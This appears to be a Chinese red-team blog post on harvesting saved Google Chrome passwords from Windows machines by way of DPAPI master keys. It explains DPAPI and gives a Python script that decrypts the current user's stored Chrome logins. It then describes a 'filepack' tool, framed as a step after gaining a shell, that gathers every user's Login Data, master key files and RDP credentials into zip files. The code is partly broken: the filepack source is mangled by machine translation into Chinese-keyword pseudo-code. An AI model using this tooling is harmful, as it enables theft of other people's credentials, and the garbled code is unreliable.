获取当前系统所有用户的谷歌浏览器密码

3 年前
本文作者: ske (Ms08067红队小组成员)

0x01。知识简介

1. DPAPI:

全称数据保护应用编程接口

Windows系统的一个数据保护接口

主要用于保护加密的数据,常见的应用如:

Internet Explorer,Google Chrome中的密码和表单
存储无线连接密码
远程桌面连接密码
Outlook,Windows Mail,Windows Mail等中的电子邮件帐户密码
内部FTP管理员帐户密码
共享文件夹和资源访问密码
Windows Credential Manager
Skype
Windows CardSpace
Windows Vault
EFS文件加密

2. DPAPI blob:

一段密文,可使用万能钥匙解密

3.万能钥匙:

64字节,用于解密DPAPI blob,使用用户登录密码,SID和16字节随机数加密后保存在主密钥文件中

4.主密钥文件:

一种。二进制文件,可使用用户登录密码解密,获得主密钥

b。分为两种:

用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%   存储用户的登陆密码
系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User   存储wifi等各种密码

C。固定位置:

%APPDATA%\ Microsoft \ Protect \%SID%,该目录下经常有多个主密钥文件,这是为了安全起见,系统每隔90天会自动生成一个新的主密钥(旧的不会删除)

5.首选文件:

位于主密钥文件的同级目录,显示当前系统正在使用的主密钥及其过期时间,替换为90天有效期

0x02在线解密当前用户google浏览器下保存的密码

# 在线获取当前用户google浏览器下保存的密码
import os, sys
import shutil
import sqlite3
import win32crypt
db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
print(db_file_path)
# tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
tmp_file = './loginData'
print(tmp_file)
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
        ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
        print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
    except Exception as e:
        print('url:%-50s get Chrome password Filed...' % row[0])
conn.close()
os.remove(tmp_file)

0x03。离线导出当前系统下另一用户的Chrome密码

使用工具Windows密码恢复

解密需要获得三部分内容:

  • 加密密钥(即主密钥文件),位于%appdata%\ Microsoft \ Protect下对应sid文件夹下的文件
  • 数据库文件登录数据
  • 用户明文的密码,用于解密加密密钥

环境模拟:

环境:一台windows10机器,里面内置谷歌浏览器,用户有管理员和测试等其他用户

目的:当我们拿到壳后,当前用户是管理员,我们想要获取测试等其他用户在当前系统保存的谷歌浏览器密码。

符合条件:需要知道test账户的明文密码,可以通过导率方法获取test的明文密码

工具:py编译后的exe工具

filepack.exe执行后会获取1.所有用户谷歌浏览器的登录数据文件2.获取所有用户的主密钥文件3.获取所有用户的rdp保存凭证(该文件窃取RDP,此处无用)

如下图是filepack.exe执行的结果,会在当前目录生成三个压缩文件

goole.zip是所有用户谷歌浏览器的登录数据压缩包protect.zip是所有用户的主密钥文件压缩包rdp.zip是所有用户的rdp保存凭证压缩包

```

filepack原始文件

获取目标服务器的重要文件

- -编码:UTF-8 - -

导入os导入shutil导入sqlite3导入win32crypt

users_dir = os.environ ['userprofile']。rsplit('\',1)[0]#获取用户目录的路径

def搜索 登录 数据(路径,名称):os.walk中的root,dirs,文件:(路径):如果文件中的名称:root = str(root)登录 数据路径= root +'\'+名称返回登录数据 路径

获取所有用户的谷歌的登录数据文件

def login data():print('-'* 50 +'\ n'+ r'[2]获取所有用户Google登录数据文件:')name ='Login Data'作为 os.listdir中的 用户 名(users dir ):Google 目录=用户 dir +'\'+用户 名+ r'\ AppData \ Local \ Google'登录 数据 路径=搜索 登录数据(Google目录,名称)(如果登录数据路径为:try:os.makedirs('。 / google')例外,例如e:pass dst ='./google/ {}登录数据'.format(用户名)shutil.copyfile(登录数据 路径,dst)print('copy [{}]'.format(登录 数据 路径))登录 数据 路径=''

if os.path.isdir('google'):
    shutil.make_archive("./google", 'zip', root_dir='./google')
    print('[+] success! google.zip save to {}\pgoogle.zip'.format(os.getcwd()))
    shutil.rmtree('./google')

获取所有用户的主密钥文件

def master key():print('-'* 50 +'\ n'+ r'[3]获取所有用户的主密钥文件:') os.listdir(users dir)中的用户 :Protect dir =用户目录+'\'+用户 名+ r'\ AppData \ Roaming \ Microsoft \ Protect',如果os.path.isdir(保护 目录):shutil.make archive(“ ./ protect / {} 保护” .format(用户name),'zip',root dir = Protect dir)#每个用户的保护压缩为用户名 protect.zip print('copy [{}]'。format(Protect dir))

if os.path.isdir('protect'):
    shutil.make_archive("./protect", 'zip', root_dir='./protect')
    print('[+] success! protect.zip save to {}\protect.zip'.format(os.getcwd()))